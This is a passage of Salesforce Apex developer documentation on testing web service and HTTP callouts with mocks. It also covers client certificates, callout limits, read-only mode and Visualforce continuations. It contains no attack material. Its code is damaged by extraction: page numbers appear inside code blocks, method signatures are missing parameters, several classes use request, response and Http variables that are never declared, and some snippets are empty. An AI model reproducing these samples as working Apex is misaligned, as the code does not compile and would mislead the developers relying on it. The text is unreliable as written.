First, implement the WebServiceMock interface and specify the fake response in the doInvoke method.
global class YourWebServiceMockImpl implements WebServiceMock {

global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// Create response element from the autogenerated class.

// Populate response element.
// Add response element to the response parameter, as follows:
response.put('response_x', responseElement);
487
}
}
Note:
• The class implementing the WebServiceMock interface can be either global or public.
• You can annotate this class with @isTest because it is used only in a test context. In this way, you can exclude it from your
org’s code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument,
pass a new instance of your interface implementation of WebServiceMock, as follows:
Test.setMock(WebServiceMock.class, new YourWebServiceMockImpl());
After this point, if a web service callout is invoked in test context, the callout is not made. You receive the mock response specified in
your doInvoke method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This example shows how to test a web service callout. The implementation of the WebServiceMock interface is listed first. This
example implements the doInvoke method, which returns the response you specify. In this case, the response element of the
auto-generated class is created and assigned a value. Next, the response Map parameter is populated with this fake response. This
example is based on the WSDL listed in Generated WSDL2Apex Code. Import this WSDL and generate a class called docSample
before you save this class.
@isTest
global class WebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
String endpoint,
String soapAction,
String requestName,
String responseNS,
docSample.EchoStringResponse_element respElement =
new docSample.EchoStringResponse_element();
respElement.EchoStringResult = 'Mock response';
response.put('response_x', respElement);
}
}
This method makes a web service callout.

public class WebSvcCallout {
public static String callEchoString(String input) {
docSample.DocSamplePort sample = new docSample.DocSamplePort();
sample.endpoint_x = 'http://api.salesforce.com/foo/bar';
// This invokes the EchoString method in the generated class

String echo = sample.EchoString(input);
488
return echo;
}
}
This test class contains the test method that sets the mock callout mode. It calls the callEchoString method in the previous class
and verifies that a mock response is received.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// This causes a fake response to be generated
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout

String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned

System.assertEquals('Mock response', output);
}
}
SEE ALSO:
WebServiceMock Interface
Performing DML Operations and Mock Callouts

By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted
work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making
a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest
statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations
must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.
Performing DML Before Mock Callouts

This example is based on the previous example. The example shows how to use Test.startTest and Test.stopTest
statements to allow DML operations to be performed in a test method before mock callouts. The test method (testEchoString)
first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a method that performs
the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout

// but after setting test data.
Test.startTest();
489
// Set mock callout class

Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout

String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned

System.assertEquals('Mock response', output);
Test.stopTest();
}
}
Asynchronous Apex and Mock Callouts

Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later
in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These
asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that
they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are
necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get
an exception because of uncommitted work pending. To prevent this exception, do either of the following:
• Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments

MyClass.mockCallout();
• Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
Test.startTest();
Test.stopTest();
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Test Class
Considerations Using WSDLs

Be aware of the following when generating Apex classes from a WSDL.
490
Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit
and .NET works.
Understanding Runtime Events

The following checks are performed when Apex code is making a callout to an external service.
• For information on the timeout limits when making an HTTP request or a Web services call, see Callout Limits and Limitations on
page 501.
• Circular references in Apex classes are not allowed.
• More than one loopback connection to Salesforce domains is not allowed.
• To allow an endpoint to be accessed, register it from Setup by entering Remote Site Settings in the Quick Find box,
then selecting Remote Site Settings.
• To prevent database connections from being held up, no transactions can be open.
Understanding Unsupported Characters in Variable Names

A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating
Apex variable names from a WSDL file:
• If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable name.
• If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated Apex
variable name.
• If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore
(_) character.
• If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced
with an underscore (_) character and the second one is replaced with an x character. This avoids generating a variable name with
two successive underscores, which is not allowed in Apex.
• Suppose you have an operation that takes two parameters, a_ and a_x. The generated Apex has two variables, both named a_x.
The class doesn’t compile. Manually edit the Apex and change one of the variable names.
Debugging Classes Generated from WSDL Files

Salesforce tests code with SOAP API, .NET, and Axis. If you use other tools, you can encounter issues.
You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more
information, see SOAP API and SOAP Headers for Apex on page 3025.
Invoking HTTP Callouts

Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and DELETE.
You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web services as an
alternate option to generating Apex code from a WSDL. By using the HTTP classes, instead of starting with a WSDL, you take on more
responsibility for handling the construction of the SOAP message for the request and response.
The Force.com Toolkit for Google Data APIs makes extensive use of HTTP callouts.
491
IN THIS SECTION:
1. HTTP Classes
2. Testing HTTP Callouts
To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts, so
tests that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using
Test.setMock.
HTTP Classes
These classes expose the HTTP request and response functionality.
• Http Class. Use this class to initiate an HTTP request and response.
• HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
• HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.
The HttpRequest and HttpResponse classes support the following elements.
• HttpRequest
– HTTP request types, such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS
– Request headers if needed
– Read and connection timeouts
– Redirects if needed
– Content of the message body
• HttpResponse
– The HTTP status code
– Response headers if needed
– Content of the response body
This example makes an HTTP GET request to the external server passed to the getCalloutResponseContents method in the
url parameter. This example also accesses the body of the returned response.
public class HttpCalloutSample {
// Pass in the endpoint to be used using the string url

public String getCalloutResponseContents(String url) {
// Instantiate a new http object

// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
// Send the request, and return a response

HttpResponse res = h.send(req);
return res.getBody();
}
}
492
The previous example runs synchronously, meaning no further processing happens until the external web service returns a response.
Alternatively, you can use the @future annotation to make the callout run asynchronously.
To access an external server from an endpoint or a redirect endpoint, add the remote site to a list of authorized remote sites. Log in to
Salesforce and from Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings.
Note:
• The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information
about the AJAX proxy, see AJAX Toolkit documentation.
• You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name
of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A
named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t
have to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined
in the named credential. See Named Credentials as Callout Endpoints on page 475.
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest, or a response
accessed by HttpResponse.
Testing HTTP Callouts

To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts, so tests
that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using Test.setMock.
Specify the mock response in one of the following ways.
• By implementing the HttpCalloutMock interface
• By using Static Resources with StaticResourceCalloutMock or MultiStaticResourceCalloutMock
To enable running DML operations before mock callouts in your test methods, see Performing DML Operations and Mock Callouts.
IN THIS SECTION:
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Testing HTTP Callouts Using Static Resources
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface

Provide an implementation for the HttpCalloutMock interface to specify the response sent in the respond method, which the
Apex runtime calls to send a response for a callout.
global class YourHttpCalloutMockImpl implements HttpCalloutMock {

global HTTPResponse respond(HTTPRequest req) {
// Create a fake response.
// Set response values, and
// return response.
}
}
Note:
• The class that implements the HttpCalloutMock interface can be either global or public.
493
• You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your
organization’s code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument,
pass a new instance of your interface implementation of HttpCalloutMock, as follows:
Test.setMock(HttpCalloutMock.class, new YourHttpCalloutMockImpl());
After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in
the respond method implementation.
This is a full example that shows how to test an HTTP callout. The interface implementation (MockHttpResponseGenerator) is
listed first. It is followed by a class containing the test method and another containing the method that the test calls. The testCallout
test method sets the mock callout mode by calling Test.setMock before calling getInfoFromExternalService. It then
verifies that the response returned is what the implemented respond method sent. Save each class separately and run the test in
CalloutClassTest.
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
// Implement this interface method
global HTTPResponse respond(HTTPRequest req) {
// Optionally, only send a mock response for a specific endpoint
// and method.
System.assertEquals('http://api.salesforce.com/foo/bar', req.getEndpoint());
System.assertEquals('GET', req.getMethod());

res.setHeader('Content-Type', 'application/json');
res.setBody('{"foo":"bar"}');
return res;
}
}
public class CalloutClass {

public static HttpResponse getInfoFromExternalService() {
req.setEndpoint('http://api.salesforce.com/foo/bar');
return res;
}
}
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
494
// Call method to test.

// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values

String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
}
}
SEE ALSO:
HttpCalloutMock Interface
Test Class
Testing HTTP Callouts Using Static Resources

You can test HTTP callouts by specifying the body of the response you’d like to receive in a static resource and using one of two built-in
classes—StaticResourceCalloutMock or MultiStaticResourceCalloutMock.
Testing HTTP Callouts Using StaticResourceCalloutMock

Apex provides the built-in StaticResourceCalloutMock class that you can use to test callouts by specifying the response
body in a static resource. When using this class, you don’t have to provide your own implementation of the HttpCalloutMock
interface. Instead, just create an instance of StaticResourceCalloutMock and set the static resource to use for the response
body, along with other response properties, like the status code and content type.
First, you must create a static resource from a text file to contain the response body:
1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match the
content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary string abc.
If you specify a content type of application/json for the response, the file content should be a JSON string, such as {"hah":"fooled
you"}.
2. Create a static resource for the text file:
a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource.
d. Choose the file to upload.
e. Click Save.
To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
495
Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for StaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, mock);
After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you
specified in your instance of StaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing
(getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the test in
CalloutStaticClassTest.
public class CalloutStaticClass {

public static HttpResponse getInfoFromExternalService(String endpoint) {
req.setEndpoint(endpoint);
return res;
}
}
@isTest
private class CalloutStaticClassTest {
@isTest static void testCalloutWithStaticResources() {
// Use StaticResourceCalloutMock built-in class to
// specify fake response and include response body
// in a static resource.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('mockResponse');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode

Test.setMock(HttpCalloutMock.class, mock);
// Call the method that performs the callout

HTTPResponse res = CalloutStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received contains values returned by

// the mock response.
// This is the content of the static resource.
System.assertEquals('{"hah":"fooled you"}', res.getBody());
496
System.assertEquals(200,res.getStatusCode());
System.assertEquals('application/json', res.getHeader('Content-Type'));
}
}
Testing HTTP Callouts Using MultiStaticResourceCalloutMock

Apex provides the built-in MultiStaticResourceCalloutMock class that you can use to test callouts by specifying the
response body in a static resource for each endpoint. This class is similar to StaticResourceCalloutMock except that it allows
you to specify multiple response bodies. When using this class, you don’t have to provide your own implementation of the
HttpCalloutMock interface. Instead, just create an instance of MultiStaticResourceCalloutMock and set the static
resource to use per endpoint. You can also set other response properties like the status code and content type.
First, you must create a static resource from a text file to contain the response body. See the procedure outlined in Testing HTTP Callouts
Using StaticResourceCalloutMock.
Next, create an instance of MultiStaticResourceCalloutMock and set the static resource, and any other properties.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource('http://api.salesforce.com/foo/bar', 'mockResponse');
multimock.setStaticResource('http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, multimock);
After this point, if your test method performs an HTTP callout to one of the endpoints http://api.salesforce.com/foo/bar
or http://api.salesforce.com/foo/sfdc, the callout is not made and the Apex runtime sends the corresponding mock
response you specified in your instance of MultiStaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is
testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"} and another named mockResponse2
based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and run the test in
CalloutMultiStaticClassTest.
public class CalloutMultiStaticClass {

public static HttpResponse getInfoFromExternalService(String endpoint) {
return res;
}
}
@isTest
private class CalloutMultiStaticClassTest {
@isTest static void testCalloutWithMultipleStaticResources() {
// Use MultiStaticResourceCalloutMock to
// specify fake response for a certain endpoint and
497
// include response body in a static resource.

MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource(
'http://api.salesforce.com/foo/bar', 'mockResponse');
multimock.setStaticResource(
'http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode

Test.setMock(HttpCalloutMock.class, multimock);
// Call the method for the first endpoint

HTTPResponse res = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received
System.assertEquals('{"hah":"fooled you"}', res.getBody());
// Call the method for the second endpoint

HTTPResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/sfdc');
// Verify response received
System.assertEquals('{"hah":"fooled you twice"}', res2.getBody());
}
}

By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted
work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making
a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest
statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations
must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.
The DML operations support works for all implementations of mock callouts using: the HttpCalloutMock interface and static
resources (StaticResourceCalloutMock or MultiStaticResourceCalloutMock). The following example uses an
implemented HttpCalloutMock interface but you can apply the same technique when using static resources.
Performing DML Before Mock Callouts

This example is based on the HttpCalloutMock example provided earlier. The example shows how to use Test.startTest and
Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test method
(testCallout) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a
method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
498
// Call Test.startTest before performing callout

// but after setting test data.
Test.startTest();

Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.

// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values

String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
Test.stopTest();
}
}
Asynchronous Apex and Mock Callouts

Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later
in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These
asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that
they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are
necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get
an exception because of uncommitted work pending. To prevent this exception, do either of the following:
• Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
Test.stopTest();

• Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
Test.startTest();
Test.stopTest();
499
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Test Class
Using Certificates
To use two-way SSL authentication, send a certificate with your callout that was either generated in Salesforce or signed by a certificate
authority (CA). Sending a certificate enhances security because the target of the callout receives the certificate and can use it to authenticate
the request against its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests.
3. If you’re connecting to a third party and using a self-signed certificate, share the Salesforce certificate with them so that they can
add the certificate to their keystore. If you’re connecting to another application within your organization, configure your Web or
application server to request a client certificate. This process depends on the type of Web or application server you use.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in
the Remote Site Settings page, or the callout fails.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. To set up named
credentials, see “Define a Named Credential” in the Salesforce Help.
IN THIS SECTION:
1. Generating Certificates
2. Using Certificates with SOAP Services
3. Using Certificates with HTTP Requests
Generating Certificates
You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate
for a callout, see Generate a Certificate.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Generate a Certificate Signed
by a Certificate Authority” in the Salesforce online help.
Using Certificates with SOAP Services

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP Web service.
To integrate the certificate with your Apex:
1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the Web service. See SOAP Services: Defining a Class from a WSDL Document.
3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document. Edit the Apex
classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value must match the Unique
Name of the certificate that you generated on the Certificate and Key Management page.
500
The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Generated WSDL2Apex
Code. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert.
stub.clientCertName_x = 'DocSampleCert';
There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate key in
base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce certificate
because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate, the private key is not
shared outside Salesforce.
Note: Don’t use a client certificate that was generated on the Generate Client Certificate page. Use a certificate that was obtained
from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Generated WSDL2Apex Code on page 484.
stub.clientCert_x =
'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+
'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+
'6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+
'9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA==';
// Password for the keystore

stub.clientCertPasswd_x = 'passwd';

Using Certificates with HTTP Requests

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request.
To integrate the certificate with your Apex:
1. Generate a certificate. Note the Unique Name of the certificate.
2. In your Apex, use the setClientCertificateName method of the HttpRequest class. The value used for the argument
for this method must match the Unique Name of the certificate that you generated in the previous step.
The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate
with a Unique Name of DocSampleCert.
req.setClientCertificateName('DocSampleCert');
Callout Limits and Limitations

The following limits and limitations apply when Apex code makes a callout to an HTTP request or a web services call. The web services
call can be a SOAP API call or any external web services call.
• A single Apex transaction can make a maximum of 100 callouts to an HTTP request or an API call.
• The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum
is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services or HTTP callouts.
501
• The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts
invoked by the Apex transaction.
• You can’t make a callout when there are pending operations in the same transaction. Things that result in pending operations are
DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email. You can
make callouts before performing these types of operations.
• Pending operations can occur before mock callouts in the same transaction. See Performing DML Operations and Mock Callouts for
WSDL-based callouts or Performing DML Operations and Mock Callouts for HTTP callouts.
• When the header Expect: 100-Continue is added to a callout request, a timeout occurs if a HTTP/1.1 100 Continue
response isn’t returned by the external server.
Apex Callouts in Read-Only Mode

During read-only mode, Apex callouts to external services execute and aren't blocked by the system. Typically, you might execute some
follow-up operations in the same transaction after receiving a response from a callout. For example, you might make a DML call to update
a Salesforce record. But write operations in Salesforce, such as record updates, are blocked during read-only mode. This inconsistency
in behavior in read-only mode might break your program flow and causes issues. To avoid incorrect program behavior, we recommend
that you prevent making callouts in read-only mode. To check whether the org is in read-only mode, call
System.getApplicationReadWriteMode().
The following example checks the return value of System.getApplicationReadWriteMode(). If the return value is equal
to ApplicationReadWriteMode.READ_ONLY enum value, the org is in read-only mode and the callout is skipped. Otherwise
(ApplicationReadWriteMode.DEFAULT value), the callout is performed.
Note: This class uses Apex HTTP classes to make a callout as an example. You can also make a callout using an imported WSDL
through WSDL2Apex. The process for checking for read-only mode is the same in either case.
public class HttpCalloutSampleReadOnly {
public class MyReadOnlyException extends Exception {}
// Pass in the endpoint to be used using the string url

public String getCalloutResponseContents(String url) {
// Get Read-only mode status

ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();
String returnValue = '';
if (mode == ApplicationReadWriteMode.READ_ONLY) {
// Prevent the callout
throw new MyReadOnlyException('Read-only mode. Skipping callouts!');
} else if (mode == ApplicationReadWriteMode.DEFAULT) {
// Instantiate a new http object
// Instantiate a new HTTP request, specify the method (GET)

// as well as the endpoint.
// Send the request, and return a response

returnValue = res.getBody();
}
502
return returnValue;
}
}
Your Salesforce org is in read-only mode during some Salesforce maintenance activities, such as planned site switches and instance
refreshes. As part of Continuous Site Switching, your Salesforce org is switched to its ready site approximately once every six months.
For more information about site switching, see Continuous Site Switching.
To test read-only mode in sandbox, contact Salesforce to enable the read-only mode test option. Once the test option is enabled, you
can toggle read-only mode on and verify your apps.
Setting Callout Timeouts

The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated
DocSamplePort class described in Generated WSDL2Apex Code on page 484. Set the timeout value in milliseconds by assigning a
value to the special timeout_x variable on the stub.
stub.timeout_x = 2000; // timeout in milliseconds
The following is an example of setting a custom timeout for HTTP callouts:

req.setTimeout(2000); // timeout in milliseconds
Make Long-Running Callouts from a Visualforce Page

Use asynchronous callouts to make long-running requests from a Visualforce page to an external Web service and process responses in
callback methods. Asynchronous callouts that are made from a Visualforce page don’t count toward the Apex limit of 10 synchronous
requests that last longer than five seconds. As a result, you can make more long-running callouts and you can integrate your Visualforce
pages with complex back-end assets.
An asynchronous callout is a callout that is made from a Visualforce page for which the response is returned through a callback method.
An asynchronous callout is also referred to as a continuation.
This diagram shows the execution path of an asynchronous callout, starting from a Visualforce page. A user invokes an action on a
Visualforce page that requests information from a Web service (step 1). The app server hands the callout request to the Continuation
server before returning to the Visualforce page (steps 2–3). The Continuation server sends the request to the Web service and receives
the response (steps 4–7), then hands the response back to the app server (step 8). Finally, the response is returned to the Visualforce
page (step 9).
503
Execution Flow of an Asynchronous Callout
A typical Salesforce application that benefits from asynchronous callouts contains a Visualforce page with a button. Users click that
button to get data from an external Web service. For example, a Visualforce page that gets warranty information for a certain product
from a Web service. Thousands of agents in the organization can use this page. Therefore, a hundred of those agents can click the same
button to process warranty information for products at the same time. These hundred simultaneous actions exceed the limit of concurrent
long-running requests of 10. But by using asynchronous callouts, the requests aren’t subjected to this limit and can be executed.
In the following example application, the button action is implemented in an Apex controller method. The action method creates a
Continuation and returns it. After the request is sent to the service, the Visualforce request is suspended. The user must wait for
the response to be returned before proceeding with using the page and invoking new actions. When the external service returns a
response, the Visualforce request resumes and the page receives this response.
This is the Visualforce page of our sample application. This page contains a button that invokes the startRequest method of the
controller that’s associated with this page. After the continuation result is returned and the callback method is invoked, the button
renders the outputText component again to display the body of the response.
<apex:page controller="ContinuationController" showChat="false" showHeader="false">
<apex:form >

<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>

<apex:outputText id="result" value="{!result}" />
</apex:page>
The following is the Apex controller that’s associated with the Visualforce page. This controller contains the action and callback methods.
Note: Before you can call an external service, you must add the remote site to a list of authorized remote sites in the Salesforce
user interface. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings,
and then click New Remote Site.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see “Define a Named Credential” in the Salesforce Help. In your code, specify the named credential URL instead of the long-running
504
service URL. A named credential URL contains the scheme callout:, the name of the named credential, and an optional path.
For example: callout:My_Named_Credential/some_path.
public with sharing class ContinuationController {

// Unique label corresponding to the continuation
public String requestLabel;
// Result of callout
public String result {get;set;}
// Callout endpoint as a named credential URL
// or, as shown here, as the long-running service URL
private static final String LONG_RUNNING_SERVICE_URL =
'<Insert your service URL>';
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
// Create callout request

req.setEndpoint(LONG_RUNNING_SERVICE_URL);
// Add callout request to continuation

this.requestLabel = con.addHttpRequest(req);
// Return the continuation

return con;
}
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
// Return null to re-render the original Visualforce page

return null;
}
}
Note:
• You can make up to three asynchronous callouts in a single continuation. Add these callout requests to the same continuation
by using the addHttpRequest method of the Continuation class. The callouts run in parallel for this continuation
and suspend the Visualforce request. Only after the external service returns all callouts, the Visualforce process resumes.
• Asynchronous callouts are supported only through a Visualforce page. Making an asynchronous callout by invoking the action
method outside a Visualforce page, such as in the Developer Console, isn’t supported.
• Asynchronous callouts are available for Apex controllers and Visualforce pages saved in version 30.0 and later. If JavaScript
remoting is used, version 31.0 or later is required.
505
IN THIS SECTION:
Process for Using Asynchronous Callouts
To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback
method.
Testing Asynchronous Callouts
Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don’t
support making callouts, you can simulate callout requests and responses. When you’re simulating a callout, the request doesn’t
get sent to the external service, and a mock response is used.
When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes,
